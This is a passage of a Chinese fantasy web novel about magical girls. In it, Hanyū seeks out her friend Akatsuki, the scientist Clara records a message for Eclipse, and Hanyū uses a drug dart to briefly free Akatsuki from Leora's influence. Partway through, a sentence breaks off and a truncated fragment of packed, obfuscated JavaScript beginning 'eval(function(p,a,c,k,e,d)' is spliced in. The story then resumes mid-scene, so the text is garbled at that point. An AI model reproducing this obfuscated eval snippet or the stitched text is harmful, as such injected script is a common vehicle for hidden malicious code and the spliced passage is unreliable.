“好啊,我们走吧,我们出发吧。”格雷伊咯咯地笑着说,“去哪里都可以,她可以做到那么我也可以才对,我不需要这些东西了。” “走吧。”拉德收起了翅膀,没去理会格雷伊的言语和感情。 在巨大的光与热之中,艾洛蒂做了一个梦,梦见完好如初的酒馆,梦见博蒙,梦见她那面目尚且清晰的父亲。 那是她的家人,她等待了很久,一直苦苦寻求着的,却也早就心知肚明不在人世的家人。 她们会怎么说我呢?艾洛蒂心想,是责备吗?是训斥吗?是辱骂吗?还是说,她们也会因为我的最后的行为,而对我道出一些夸奖吗?但无论是作为人类来说,作为Evo的天使来说,还是说昨晚阿贝尔家族的族人来说,她都是不合格的存在。 所以,不会有奖赏存在。在那里等待着她的一定是某种惩罚,杀人罪也好,背叛也好,对自己的义务视而不见,没能守护家族的一切也好,都是她没能弥补的过错。 我们一定会一起下地狱的吧!艾洛蒂这样想着,欣喜地朝自己的家人跑去。 就像是她四岁那年,博蒙说要离开时,她没有悲伤,困惑,生气。她只是相信着,爱着对方,并等待对方回来。 而现在,她要过去了。 89.Day1-下 从西部市区东南部分的商业区为起点,有乐羽生准备先前往克拉拉的实验室寻找犬山晓的下落,她刚才尝试使用启明星提供的电话拨打对方的号码,却发现行不通。 信号消失了,紧急通讯也无法拨出,就好像有谁将这片区域的通信卫星短暂地蒙上了一层纱布一般。但电力正在逐渐恢复,比起路边一盏盏在修复后逐一亮起的路灯,那天空中不时窜出的长线更为惹人瞩目。 那长线是从整座城市的最高点,也就是瞭望塔为起点往城市各处的高楼建筑发射连接的,再由那些高楼建筑为第二起点继续发射向下一个目标,宛如一根根电线一般将城市上空网罗了起来。随后一面面彩旗和灯笼被挂了上去,什么颜色都有,像是人造的雨后彩虹。 克拉拉的实验室位置在城市西北角偏老城区的位置,而瞭望塔的位置在东北角,也就是Evo园区的旁边,有乐羽生想了想,先行前往了东北角查看异常情况,希望能收获一些有用的线索。就现在的情况来看即使是遇上了天使,对方也不会主动与她产生争斗行为,甚至如果能好好说话的话也能沟通一番。 时间只有一天,结果仍是未知数,但她会做到自己能做到的最好的,或者更好的。 市区正北部为市政府办公区域,此时那些设计死板的素色楼房也被强行缠上了些许挂着彩旗和灯笼的绳索,显得格外热闹。 瞭望塔之前就没有因为地震而出现倒塌的情况,只是周围的部分围墙和树木损毁严重,现在也都被修复得看不出曾经被震动击倒过。有乐羽生没有犹豫,迅速向上飞去。 瞭望塔顶端,有个跪趴在地上的人影,她的身前架着一台黑色的狙击枪,但很明显那些散落在地上的五颜六色的子弹壳曾经装载的并不是火药。她身着黑色马甲与罩裙,灰褐色的头发上顶着黑色毛线帽,紫色的围巾将她的半个脑袋都笼住了。 “…你好。”那人很明显就看见了有乐羽生,但犹豫了许久才起身开口打招呼,但开口了也就只有一句你好。 “您好。”有乐羽生点头回应,这是一位她没见过的天使,对方灰褐色的头发下皮肤也是灰褐色的,紫色的围巾遮住了她半张脸,只剩下上半张面孔谨慎地暴露在空气中。 这个天使的表现让有乐羽生想起了格雷伊。那人似乎没有要继续说话,或者介绍自己名字身份的意思,只是迅速地就移开了视线,回到了原来的位置。 “我是有乐羽生。”有乐羽生有些犹豫,但还是问了一下,“请问您知道犬山晓在哪里吗?” “不。”那人沉闷的声音从围巾中传出。 “您是,天使的一员?”有乐羽生有些怀疑。 对方没有回应,有乐羽生看见她稍微点了下头。 “那您一直待在这里瞄准的话,应该是能察觉到晓现在在哪里的呀?”有乐羽生顿了顿,循循善诱地补充道,“利奥拉说了让你们帮忙的吧,就当作是顺带着帮帮我如何?” 那人略微侧过头来,用自认为隐蔽的视线看了看有乐羽生,似乎是有些纠结什么。 “我是居里。”她闷闷地说,“我不负责定位,去找库伦或者伦琴。” 说完,她又转过头去忙自己的事情了。 这两个名字有乐羽生都不算陌生,但无论是哪个她现在都没办法迅速找到。她想了想,这位居里身上不想和别人说话的信息传达地足够明显了,但有乐羽生看着对方帽子上,领带上,手套上,腰带上,运动鞋上的紫色水晶装饰物,有了些想法。 “其实,我之前从很远就注意到您身上有亮晶晶的东西呢,那些是您挑选的饰品吗?”有乐羽生感叹道,“虽然我觉得你们的这身制服很一般,但您的搭配品味很不错呢。我没有别的想说的,就先走一步啦。” 居里从有乐羽生说她身上亮晶晶的时候就转过头看她了。 “…我看见那个黑头发的高中生去了一趟西北角,然后往南边去了。”居里说着,眯起眼睛笑了笑,“谢谢你这样说,下次见。” “谢谢,再见。”有乐羽生不太想和她下次见,对自己套话的行为不免有些心虚,“可能吧。” “好了。”居里又转过头去了,“拜托别再和我说话了。” 天使里也有这样的存在呢,有乐羽生心想,转身朝市区西北角滑翔而去。若是不出意外的话这个定位大概率就是指克拉拉的实验室,这个消息让她稍许安心了一些。 克拉拉小姐是个很厉害的科研人员,说不定有什么办法呢?有乐羽生这样想着。 之前她只去过一次克拉拉的实验室,其所处位置隐蔽,有乐羽生寻找了一会之后才找到那个有些熟悉的巷子拐角,她从入口处的楼梯下行时不禁有些紧张了起来。 入口处楼梯下,破旧的门应该是上了锁,有乐羽生打不开,附近也没有看上去像门铃的东西,她思索了一会之后敲了敲门。 不久,门自动打开了,前方是另一道金属门,有乐羽生在那之前站定并等待面部识别扫描,过后,金属门打开,冷气和白光一起倾泻而出。这里和她上次来的时候相比乱了许多,但依稀还是能看出并没有太大的变动。 而混乱的制造者,也就是实验室的拥有者本人克拉拉正在翻动靠墙文件柜里的东西,大多数都只是看一眼就往身后扔去,纸张飘落,层层叠叠地堆得到处都是。 “有乐羽生?”克拉拉勉强回过头看了一眼来者就继续转过头去了,她不准备待客,“有事就说吧,我现在没空和你交流些什么。” “好的。”有乐羽生点了点头,没有太在意,“我是来找晓的,她之前来找您有说什么吗?” 克拉拉手里的动作一顿。 “她没有来找过我。”她说着,没有回头,“通讯信号出现了问题,是全城现象,但我有个人途径观看转播,那可是你们魔法少女的大事件。她来找我做什么?” 说完,她继续翻起了手里的文件。 有乐羽生一顿,她意识到这意味着犬山晓与克拉拉没有见过面,但居里没有在这方面说谎的理由,均衡之下,她理解了些许为何犬山晓来找克拉拉,却没和她见面。 “其实现在已经不是魔法少女的大事件了,克拉拉小姐。”有乐羽生郑重地说。 “那个特异点从压力舱里消失了,这个事实与今早发生的事情有所关联吗?”克拉拉头也不回地问道,她的声音没有波动。 “应该是,我在艾克里普的手里看到了那把石杖。”有乐羽生顿了顿,问道,“她说自己想起了什么,随后态度变得很奇怪,您知道些什么吗?” “…原来如此。”克拉拉停下了手里的动作,转过身推了推眼镜,看着有乐羽生,“那本就是属于她的东西,往最坏的发展推测的话,她大概率是拥有了那其中保存的信息了。” “启明星也说了类似的话,艾克里普之所以能默认这一切的原因是她找回了以一千年为假设时间年份的记忆。”有乐羽生说,“那是她不想要的记忆,她记起来之后就变得有些奇怪了。” 这个消息让克拉拉陷入了思索之中。 “合理的。”克拉拉总结道,“非人却拥有人类思维的存在,除去人工智能以外就只有之前你们遇到的那些异常人士了,无论是哪种,在考虑过后都不会喜欢人类的。” “…可是,她应该也挺喜欢我们的吧,她也并不是人工智能。”有乐羽生无奈地说,“您认为她没有可能帮助我们了吗?” 这一点也是有乐羽生犹豫的一点,她知道自己现在所做的事情,总结来说就是用感情攻势让艾克里普回心转意,这并不是成功率高的做法,甚至有乐羽生知道抱着这样想法的人通常很容易被骗,因为这是轻信。 但这是她现在能做的唯一的一件事了。 “为什么她不认同你们这件事就没有解决方案了?你的话听上去很悲观。”克拉拉皱眉问道,“虽然那位魔法大师看上去确实无所不能,但魔法这方面也并不是没有其它人可以帮忙的吧,小犬山她人呢?还有森山寺那两姐妹。” “克拉拉小姐,她们。”有乐羽生不知道该从哪里开始解释这件事,可是她必须得解释清楚,“您知道Evo会对天使进行洗脑,并使用特殊手段控制她们行动吧。” “知道。”克拉拉说着,语气里夹杂了一些不可置信,“你不会是想说?!” “晓和未央未雅她们也是差不多的情况,但更糟。”有乐羽生的声音低了下来,“她们现在发自真心地认同对方的观点,您理解吗?若是强制性的手段的话她们是绝对会反抗的,但她们现在和艾克里普一样,发自真心地认同即将到来,以及正在发生的一切。我想做的就是纪录下一些反对者的话,好让艾克里普看了能回心转意。” 就像是那个时候,在那个她困住自己的结界中,艾克里普想让有乐羽生回心转意一样。 “证明呢?执行方式是什么?”克拉拉不可置信地问,“昨天你们不是还飞天遁地到处跑吗?今天怎么就变成这样了?这也太过不合理了难道说魔法这种东西就是我没办法理解的吗?” 她的声音像是用显微镜看了半天也没看出来为什么看不到东西结果销毁实验素材之后发现是镜头盖子被蒙住了的微生物研究人员一样无力。 “我不知道。”有乐羽生说,“我不知道发生了什么,但是,但是按照艾克里普的说法她们并不是自愿的,而且过程应该并不包含杀人行为。” 克拉拉找了个椅子,把上面的纸张扫到地上,坐下了,抬头看着天花板,取下了眼镜。 “我也该习惯了。”克拉拉冷笑一声。 “不要放弃啊克拉拉小姐!”有乐羽生急迫地说,又不知道该如何安慰一位科研人员,“我不知道利奥拉想做什么但是——。” 但是什么呢?有乐羽生顿住了,她不知道什么样的但是才能让克拉拉打起精神来。 “我是说,我已经习惯实验仪器报错了。”克拉拉说,“哪怕是我,那些药物作用机制验证阶段的成功率在没有理论支持下的成功率也就25不到,好在没人看我的报告,受众群体也是些容错率高得可怜的人。” “是,是这样吗?”有乐羽生不太能听懂,但她认真地回应道,“受众群体难道是指我们吗?” “是,不过实际上对你们之中的大多数来说反而是某种毒药吧。”克拉拉再次带上了眼镜,“利奥拉,奥是重音吗,这个名字听着有点耳熟啊。” 说着,她走向角落里的电脑桌,拉开边上的抽屉,这次倒是很快就找到了一本笔记本出来,她迅速翻动着其中纸张,那其中大部分表面上只有简单的黑色涂鸦或者记录。 “您有见过这个人吗?”有乐羽生非常意外。 “不,不是见过,我可不认识这等大人物。”克拉拉一边翻一边说,“我只是注意到了。” 说着,她将翻到的那一页展现给有乐羽生看,那上面写着70-37这样的数字,有乐羽生记得这个数字,是那位名叫伊提的人留下的记录中的一部分。 “这脑筋急转弯品味到底是谁抄谁的呢?”克拉拉说着,拿起一支笔在上面写了点东西,并反转了一下。 LEA-ORAL,这样的名字出现在了纸张之上。 “…真的有这样的事情发生吗?”有乐羽生不可置信地看向克拉拉,“这,这真的确实是这样的吗?会不会太强行了?” “若是仅将这两个表象放在一起的话,那就是无效的。”克拉拉说,“但是加上理论支持,例如时间回溯,那家伙的思考方式,行为,以及其它,验证成功率至少有50%吧。” “那不是才一半吗?”有乐羽生想不到克拉拉这样张扬的人说话还挺保守的,但现在这个情况她还是希望听到类似于100%这样的可能性,实在不行也得是99%吧。 “这还不满足吗?你以为成功率是什么考试成绩一样的东西吗?这可是比财务报告预测中的每个对比率都更为珍贵的数字!”克拉拉不满地说,“基于这个成功率的话,有一个事实可以被使用了。” “什么事实?”有乐羽生虚心求教。 “你们所面对的那个存在,利奥拉,她曾经是血湖0号实验室的一部分。那可不是一个对外开放简历投递通道的有限公司,是比我这更加隐秘,而且控制手段更加强硬,让那家伙在飞到大洋彼岸之后还不得不回去打工的黑心实验室。”克拉拉放下了手里的记事本,坐了下来,“你们该找的也都差不多找过了,那些实验人员名单中,有哪怕一项纪录过这个名字吗?” 她的声音有些沙哑,并不激动,只是平静地解释着过程。 “没有。”有乐羽生说道,“启明星侦探和艾克里普都帮忙处理过了,但艾克里普先暂且不提,侦探完全是今天才得知这个名字的。” “那就对了。”克拉拉摊了摊手,“注意到了吗?她是内部的,不被纪录的,被信任的,而且,不被防备的。她是0号实验室的实验体,并非Evo公司的那些天使或神脉医院孤儿院的那些新人,她早在1978年之前就存在。” 有乐羽生回想起了那栋红砖小楼里的孩子,回想起那红发的幽灵,回想起天使,回想起那些人造魔物,回想起那些实验设施内的器械和标本,回想起她和森山寺未央在湖边的那场谈话。克拉拉的解释十分清晰,她无从反驳也不知道为何要反驳,她为何无法接受这一切? 是因为,利奥拉那样疯狂的存在,居然也有过如此弱小的过去,这个事实让有乐羽生想起自己朋友们的离去时无法发自心底地憎恨对方了吗? “…这个事实,有什么用呢?”有乐羽生低下了头,握紧了手里的相机,“我们难道要去怜悯她的过去吗?这个事实的存在就能让她的作为显得没那么反人类,而是有理有据的吗?” “你怎么会这样想?”克拉拉诧异地问,“在你看来我是这么好心的大人吗?小犬山人比较老实也就算了,你不是市长和那个黑心顾问的孩子吗?怎么会觉得我会劝你放下?” “啊?”有乐羽生一愣,抬起头来看向对方,“那,那是为什么呢?” 她这副模样大概是有些奇怪的,克拉拉看着勾起嘴角笑了。 “她的研究和成果基于血湖,那么她所造成的精神层面的影响下,我的药物就会起作用。”克拉拉将一条腿搭在另一条腿上,撑着脑袋说,“或者说我们,吧。” 这间实验室的所作所为,克拉拉从不否认是为了追随她导师的背影。 有乐羽生理解了其中最重要的那层含义。 “如果说,你想做的是记录一些理论支持,好让成功率高一些的话,那样本纯度可是与基因表达是否正确有着非常大的关系的。”克拉拉抬手按动电脑旁的操作盘,一只机械手捧着一把黑色的左轮样式手枪来到了有乐羽生的身边,那一旁放着弹夹。 “带着这个去见她们吧,然后,如果她们脑子不清醒就给她们来上一枪,按照标注的名字使用。”克拉拉说,“注射比口服有效,记得瞄准动脉。” 有乐羽生颤抖着手抬起那把枪,它并不沉重,不知名材质的外表让她想起了有乐千实用过的那把武器,很快,她坚定地握紧了手枪把手。 “谢谢您,克拉拉小姐。”有乐羽生道谢,“无论是过去还是现在,您所做的事情无论是否是为了我们,都一直在帮助我们。” “像是被安排好的一样不是吗?”克拉拉这样说着,却是笑了,她摘下眼镜,“我以前想过这样的事实,但结果总是出乎意料,我也该习惯了。” 有乐羽生看着克拉拉,感受到了她语气中并没有完全对这一点感到释怀,但她现在也理解了一点,也就是,科研人员是不可以说绝对有和绝对无的。克拉拉是个好人吗?有乐羽生无法定论,但她总在不断地求实。 “伊提阿姨会为您感到自豪的,克拉拉小姐。”有乐羽生肯定地说。 “轮不到你一个高中生来说这一点。”克拉拉不满地说,“说起来你之前说小犬山她来过这里,这句话属实吗?” “提供目击线索的那位是天使中的一员,她现在没有对我说谎的理由。”有乐羽生说到这里看了眼克拉拉的脸,补充道,“但晓她可能只是路过这里,我以为她来找您了而已。” “…她怎么可能路过这里,她可讨厌这附近的区域了。”克拉拉深深叹了口气,“到底是有什么事是不能和监护人说的?小孩子就是麻烦。” “那个,克拉拉小姐。”有乐羽生不知道该不该由她来说这件事,但现在她觉得对方必须知道,“您一直说自己是晓的监护人,但其实,她的年龄或许是与您差不多,甚至比您大上一些的。” 按照禾草代目的年龄来算,犬山晓并不是一个可以被克拉拉监护的孩子了。 “…真的假的啊?”克拉拉沉默许久后发问,眼镜都掉在了地上,她看了看天花板,似乎是在回忆着些什么,表情逐渐变得扭曲而挣扎了起来。 “她从来没有把自己视作为一个孩子,一直很照顾我们。”有乐羽生想了想,又说,“她也一定很照顾您吧,即使是以她自己理解的方式去做的。” 但很明显,这句话最深的理解者克拉拉已然沉浸在自己过去的监护人言行中无法自拔了。 “我,我还说要去给她开家长会。”克拉拉一想起当时的情况,窒息感就攥紧她的声带,“她为什么不早说?她为什么不说?” 但随即,她意识到这或许也是“照顾”的一部分,她们的相识不算美好,至少犬山晓看来她自己那时的情况不适合强调自己的自主性。 有乐羽生没有发言,她看着克拉拉捂着自己的脑袋摇晃。许久之后,她终于松开了,那乱成一团的金发被她自己用手指随意梳理了一下,她起身,穿上了那件搁置在椅背上的白大褂。 “你去那站着。”克拉拉指着实验室的一个角落,“扶稳相机,好好拍知道吗?我以前出镜的影响力可不是现在那些付费上电视的人能比的。” 有乐羽生按照指示站到了该去的位置,想了想,她提醒说,“这个是给艾克里普看的,晓她可能看不到这个。” “我知道。”克拉拉说着,理了理衣服又在椅子上坐下了,她的颈椎习惯性地前弯一些,背不算直,但当她抬起头来面对摄像头的那一刻,有乐羽生知道看过这篇报道的人类中没有人会不听她的建议了。 “艾克里普-阿尔卡纳,我以你的那根石杖的研究人员,以及魔法相关研究者的身份对你说这番话,你不必因犬山晓与我的联系而偏向我的观点,因为我只说事实。”克拉拉微笑着说,“你毫无疑问是魔法领域最具权威的那位了,所以我的言论不涉及任何与魔法相关的信息。 你的那根那根石杖,我之前将其称之为特异点的理由在于,我曾认为它是一个体积无限小,密度无限大的,不受物理定律控制的点。但这个论点的提出者,也就是我本人并不精于物理而且讨厌承认错误,所以一直没有纠正。但是现在,我要否认我之前不成熟的论点。我根据后续研究与实验观察得到了新的论证,以支持新的论点,也就是,那根石杖本身是一个个体。 若是你无法理解的话,那我可以直白地说结论,每个与石杖接触到的人都并非是进入了某个世界,而是在与石杖本身交流。你得到了那根石杖后获得的,或者说回忆起的每个记忆片段都是以个体主观陈述的,那个人或许是你自己。你是否察觉到了这一点呢? 基于这一点假设,我必须告诉你一个客观事实,也就是不可让沉没成本影响重大决定,无论那是多大的,持续了多少年的纪录,你曾经丢掉过一次,那么再次捡起时,你同样还是拥有选择是否要接受的权利的。 在这基础上,我希望你能理解那根石杖真正想和你说的东西。” 录制结束了。 “…希望能起到一点作用吧。”克拉拉又在椅子上缩起来了,重新带回了她的眼镜。 “谢谢您,克拉拉小姐。”有乐羽生郑重地把相机收好,“我会让艾克里普看完的。” “如果,你找到了小犬山。”克拉拉顿了顿,继续说,“就和她说我这里遇到了麻烦,让她赶紧过来帮忙。” “为什么不直接说您想见她呢?”有乐羽生无奈地说,“即使没有了监护人这层身份,你们两个也还是朋友呀?” 克拉拉听到这句话后没有说话,只是挥了挥手让她赶紧走。有乐羽生有些无奈,但还是准备动身离开了。 “等我准备好了,我自己会说的。”克拉拉的声音被淹没在了合拢的金属门后。 从实验室出门后,有乐羽生按照居里的指示往南边走,如果她猜的没错的话犬山晓大概是在宿舍或者日之森校区。城市在她没入建筑的那段时间里又多了许多装饰,有乐羽生心想那位居里一定是个认真负责的手下。 一路向南,有乐羽生在经过艾克里普的事务所上空时停顿了一下,发现那还是只有一层假象覆盖在上面。 日之森校区内,从主干道进入后走到底然后左拐,通过日之森绿地河的桥达到对岸,这里就是日之森校园温室。平日里这里主要由园艺部的同学在使用,也有一小部分被规划里出来交给科研需要,内部规划整齐,每日下午6点后会有工作人员前来打扫。 但今天情况不同,由于地震以及利奥拉的原因,学校里连安保人员都不存在,温室内虽然没有受到多大的影响,但部分植物还是需要定时浇水的。 这就是犬山晓现在正在做的事情。 “你就做这个?”电子音嘲笑道,“利奥拉说帮忙,你就做这种机械手也能做到的事情?” 犬山晓没有理会这个人形电子音播报员,她是西弗尔特,曾经的天使的一员,她曾在高速上把对方心脏捏碎了了然后丢下车,因为状态稳定魔法,她勉强捡回了性命。二人自然并不是什么可以和谐地站在一起给植物浇水的关系,但由于利奥拉特地下的命令,她现在没法和有联系的任何人动手打架。 西弗尔特也并非是特意来进行言语攻击的,她的目的来参观日之森校园这个她部下曾经工作过的地方,犬山晓没有打算理她,但不知为何这个人在逛了一圈之后自己跑过来找她了。 “那个盆栽水要溢出来了!”西弗尔特嘲笑道,“这个都做不好?你连机械手都不如啊!” 犬山晓一愣,赶忙收回了水壶,转身对让她分心的存在怒目而视。 “你参观完学校还待在这里干什么?”犬山晓尽可能心平气和地问,“你能不能去找点事做?而不是在这里对我指手画脚。” “你这样能叫做事?你充其量不过是躲起来不敢见人而已。”西弗尔特鄙夷地说,“而且我干什么关你什么事?我们是平等的我想干什么就干什么。” “…随便你吧。”犬山晓叹了口气,她知道对方说的没有错。 现在她哪也去不了,什么也做不了,无论是阻止利奥拉也好,还是离开这里也好。甚至她发自内心地不想离开这里,也不想反驳利奥拉说的那些话。 那就这样吧,犬山晓看着那些盆栽和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我17,但我在你这个年龄的时候就比你高了!”西弗尔特强调说。 “那也不小了啊,为什么你表现的像个小学生一样?”犬山晓质疑道,“你的教练和CEO没教过你不要和别人攀比吗?你和我比到底是能得到什么?” “你懂什么?只有强大的存在才能获得嘉奖,你们普通人的行事准则是为了体贴那些弱者,我们可不需要!”西弗尔特不屑地说,“最强大的人可是能获得CEO的奖励的,什么都可以要,无论是你们普通人喜欢的那些东西还是特殊的东西,你根本想象不到吧!” 于是犬山晓稍微理解了西弗尔特这喜欢攀比的心理从何而来。 “但是按照利奥拉的说法,你以后就不需要再继续攀比了吧,她说了我们是平等的。”犬山晓说,“那么无论弱小还是强大对她来说应该都是一样的。” “你,你懂什么?”西弗尔特愤怒地说,“CEO承诺过会给最强大的人奖励的,她的承诺永远都奏效的!” “CEO?湛吗?”犬山晓想了想,“她死了吧,也不在我们之中。” “利奥拉说了会把她带回来给我的!”西弗尔特用她自己的声音发泄着情绪,“她说了,可能性存在那她就会将其实现,CEO会回来的!然后她会给最强的我奖励!” 听着对方的声音,犬山晓心里怀疑西弗尔特到底是真的想要奖励,还是想要被承认她是最强的那个。 “先不说她能不能做到吧。”犬山晓想了想启明星,不觉得她是能被轻易改变的人,“现在这个‘我们’里面不仅包含天使,也包含了我,你打不过我的。” 西弗尔特不说话了,她死死盯着犬山晓。于是犬山晓这才想起来利奥拉似乎是没有禁止天使们对她动手的。 “你给我——”西弗尔特抬手就要打犬山晓,随后,她的手被抓住了。 有谁悄无声息地出现在了温室之中,她落地时只发出“哒哒”两声,没有开口说话,却转瞬间让温室内的气温都下降了几度。如同漏水的天花板在化雪的那天落下的水滴,她出现在西弗尔特的身后,轻轻,又毫无动摇地停止住了西弗尔特的动作。 犬山晓一愣,看了过去,那青年将草绿色的头发编织为发辫搭在肩头,露出扎满黑色耳饰的双耳,眉头皱着,双眼垂下。她身着黑色马甲与罩裙,手部皮肤是黑色的,双腿被器械假肢代替。 “西弗尔特,车在等你,你超时五分钟了。”青年的声音因为飘忽而有些阴森。 “抱,抱歉,仑目。”西弗尔特迅速地恢复了冷静,瞪了犬山晓一眼后老实低头道歉,“我马上去帮忙。” 犬山晓心想这不是能被人管着吗? 或许是视线太明显了,西弗尔特瞬间就察觉到了这一点。 “她也在浑水摸鱼!”西弗尔特指着犬山晓说,“她根本就是在做无用功,这里的植物对庆典根本毫无意义可言。” 仑目放开了西弗尔特的手,双手自然垂下,歪头看向犬山晓,她的眉头依然紧皱着。 “行动就有意义。”仑目说,“西弗尔特,行动起来。” “是!”西弗尔特的背部迅速挺直了。 仑目在得到回复后点了点头,她低头看向地面,眉头皱的更紧了。 “我不在此过多停留,先走了。”仑目说着,如来时一般悄无声息地离开了温室。 于是温室恢复了温暖。 “…这次就算了。”西弗尔特沉默了一会后说,“我确实不该在你不能还手的时候攻击你,下次你就没这么走运了。” 说完,她头也不回地转身离开了。 犬山晓叹了口气,拿着水壶继续给温室内的其余植物浇花,看着那棵小番茄,她顿了顿,伸出了手。 忽然,身后的温室门被人推开了,犬山晓疑惑地回头,却发现来者是有乐羽生。 “晓!”有乐羽生赶忙走上前,“原来你在这里呀。” “羽生,你没事真是太好了!”犬山晓看到有乐羽生平安无事感到了安心,但很快,她内心地想法产生了波动。 不够好,她心想,只要羽生还没有回归,那么她就还有可能遇到危险。 “怎么了?”有乐羽生看到犬山晓的表情变了变,担心地问,“是因为利奥拉的原因吗?” “…你知道了。”犬山晓沉默了片刻之后,犹豫地开口说道,“我现在说话可能不太能清晰地表达我该有的想法。” “晓以前说话就经常这样呢,因为不确定自己言论是否正常而说话很慢。”有乐羽生怀念地说,“说真的,能看到你我真的很安心,即使只是这样看着。” “…我,没办法说我也是。”犬山晓缓慢地说,“我看着你时,会担心你遇到危险,会迫切地希望你也回到我们身边来,但是,我也希望你快些离开这里,不要来管我了。” 犬山晓看向有乐羽生,希望对方能理解自己矛盾的言行中所代表的真心。 “先让我说明来意吧。”有乐羽生没有犹豫,开口说道,“艾克里普她找回了过去的记忆,认同了利奥拉的想法,但我们两个尚且还未出现异常情况。启明星侦探说还有可能性,想让我收集同伴们发自真心的想法,好让艾克里普回心转意阻止利奥拉。” “…我甚至没办法认同这个做法,但我不会阻止你的。”犬山晓说。 “针对这个状况,克拉拉小姐准备了特效药。”有乐羽生将手探入怀中,迅速掏出了手枪对准犬山晓,“举起手来!” 犬山晓一愣,配合地举起了手。 “居然如此听话吗?”有乐羽生惊讶道,“我以为你会反抗一下的。” “我没有被这样命令。”犬山晓笑着说,“想做什么就做吧,我不会阻止你的,羽生。” 于是有乐羽生清晰地感知到了,犬山晓并没有发生改变。 于是,有乐羽生毫不犹豫地开枪,子弹射出时没有发出声音,那特殊材质的弹壳脱落后一枚小小的子弹形针头跨过温室植被没入犬山晓的颈动脉。 这与她平时食用的那种精神释缓药物有所不同,药物进入血管中后迅速奏效,犬山晓感受到了一种震荡般的眩晕感,在与心脏跳动的速度齐平的剧烈振颤中,她身上的某些与血液相链接的东西被迅速地剥离开了,但她又还在原地。 犬山晓以为自己要死了,因为那剧烈的剥离之后她的身体迅速地变得虚弱了起来,但药效缓缓平复,她还站着,她还有站立的能力,不如说,她本就有这些。 她在药物的作用下,短暂地变回了一个普通人,不仅仅是魔法失去了效用,就连那与她血脉相连的制约和想法也一同被擦去了。 她意识到,这一针,是接近致死剂量。 “…克拉拉她,还研究这种东西吗?”犬山晓在温室长椅上坐下了,体验着久违的虚弱无力感。 “她都在研究魔法了,研究什么都不稀奇吧。”有乐羽生说着摸出了相机,“在药物失效之前,请告诉艾克里普你想说的话吧!” 犬山晓面对摄像头时有些紧张,她擅长找到摄像头,这样会安静无声地纪录下一切的器械会毫无保留地将她的所作所为告知另一端的存在,但在现在这样特殊的情况下,摄像头的特性反而是她所需要的。 “我准备好了。”犬山晓思考完毕。 “艾克里普,距离上一次见到你还没过去多久,那时你来我家玩我都没来得及好好招待你,光顾着做自己想做的事情了,抱歉。”犬山晓说起这里还有些不好意思了起来,“我邀请你来我家玩,但我想,上次并不是一个好的作客体验吧,我甚至没有给你准备一把坐下的椅子。 艾克里普,利奥拉对你说的话我都记得,我都听见了,现在,我也能理解了。利奥拉说你是魔物,这或许对那时的你来说是非常不能接受的一件事吧,但现在我要告诉你我当时的第一时间的内心想法是什么。 我当时在想,那又怎么样呢?我很早以前甚至分不清人和动物的区别,现在分得清了,但有的时候却还是觉得没什么区别。我看到你生气,所以才那样说的,如果你现在为当时的我的发言感到不安和痛苦,那请让我在这里向你道歉。我不在乎你是人,是魔物,是动物,还是魔法少女,我想和你一起走向未来。 利奥拉是个很奇怪的人,她说,如果回到过去的话会让我的妈妈一直陪在我的身边。但实际上那并不是我想要的,我很怀念妈妈,很想见她,但我是不会想让她一直陪在我的身边的。我记得我的妈妈是个什么样的人,所以知道,我们是没办法永远生活在一起的。 所以,我认为她所说的那个国度确实是一个非常温暖,非常安全的地方。但是,我不想去那里。 有句话我上次没来得及说,这次或许就是最后的机会了。艾克里普,我希望你能再次来我家里做客,我一定会好好接待你的!哈哈,这样说是不是有点像个有家的人了?” 影像记录完毕。 犬山晓还坐在长椅上,她沉默着,感受熟悉的力量回到她的身上,但她并不感到愉快。 “羽生。”犬山晓在最后的限制回来之前说道,“飞走吧,飞去她找不到的地方,你是自由的,哪怕只有你是自由的也没关系的!” “…不要!”有乐羽生拒绝说,“如果你们不在这里,大家都不在这里,那我就没有可以回来的地方了,所以我不要!” 犬山晓看着有乐羽生,她没有再开口了,只是看着,但有乐羽生却能感受到,犬山晓在送别自己。 “我会让艾克里普看完的。”有乐羽生说,“然后,我们会一起来做客的!” 犬山晓笑了。 “还有,克拉拉小姐她说。”有乐羽生想了想,说道,“她说有很重要的话要和你说,快过去找她吧。” “重要的话?”犬山晓有些疑惑,但还是担心地点了点头,“我现在过去找她。” 90.Day1-终 东部市区商业区街头,森山寺未央和森山寺未雅坐在行人红绿灯旁的艺术装置椅子上,对街头人来人往的景色发着呆。 “完蛋了。”森山寺未央说。 “完蛋了。”森山寺未雅说。 “明明好不容易和爸爸妈妈坦白了这件事的。”森山寺未央望天。 “明明好不容易想出办法还实施了的。”森山寺未雅闭眼。 “不对!”森山寺未央支起上半身,“办法不是我想出来的吗?” “那不是没有用吗?”森山寺未雅躺下了,“还是说你想负全责?” “那还是算了。”森山寺未央也躺下了。 偶尔有人停顿下来看她们一眼,但二人会马上看回去,一来二去,基本没有人敢在这个十字路口多做停留。 “原来当神经病这么爽。”森山寺未央若有所思。 “但精神病人就不爽了。”森山寺未雅冷笑一声。 十字路口对岸,熟悉的商场前广场上停着熟悉的冰淇淋车,不过这次没什么人排队了。 “走吧。”森山寺未央毅然站起。 “没错。”森山寺未雅也决然地站起。 “去买冰淇淋吃!” 二人确认了身上的钱还够,就气势汹汹地过了马路直冲冰淇淋餐车而去,准备验证一下那被吃了一口就丢掉的冰淇淋到底能有多难吃。 她们站在空无一人的点单窗口前往里面看,却发现那工作人员竟然还没收银台高。 “欢迎光临。”白色长发的少年看向二人,她身上穿着黑色马甲和罩裙,但肉眼可见地多出了很多与工作无关的装饰物,左手臂衬衫上还别了袖章,森山寺未央一眼认出那是一款黑暗奇幻动作角色扮演游戏的绝版周边,再一看,那领带更是某知名魔法影视剧中某学院的代表颜色,再仔细一看,那马夹上本该是纽扣的位置被一枚金色金属徽章取代,造型是某个古早恐怖动作推理游戏的吉祥物。 “看太多了吧?”少年面无表情地问道。 “看看我的。”一旁凑过来另一个白色长发的工作人员,森山寺未雅定睛一看,其左臂上同样别着袖章,那是某个二十多年前发售的暴风雪山庄式恐怖推理文字游戏中主要角色的家族标志,这可是绝版货色,而她的领带也同样是同魔法影视剧中另一个学院的代表颜色,再仔细一看更是不得了,那被少年漫不经心地挂在马甲下摆的巴掌大玩偶可是多年前的CD捆绑赠礼,全球限量不过三位数。 “…这算什么?”森山寺未雅神色漠然,“仗着这些作品我们全都认识就强制性介绍你们的游戏品味吗?好吧你们品味确实不错。” 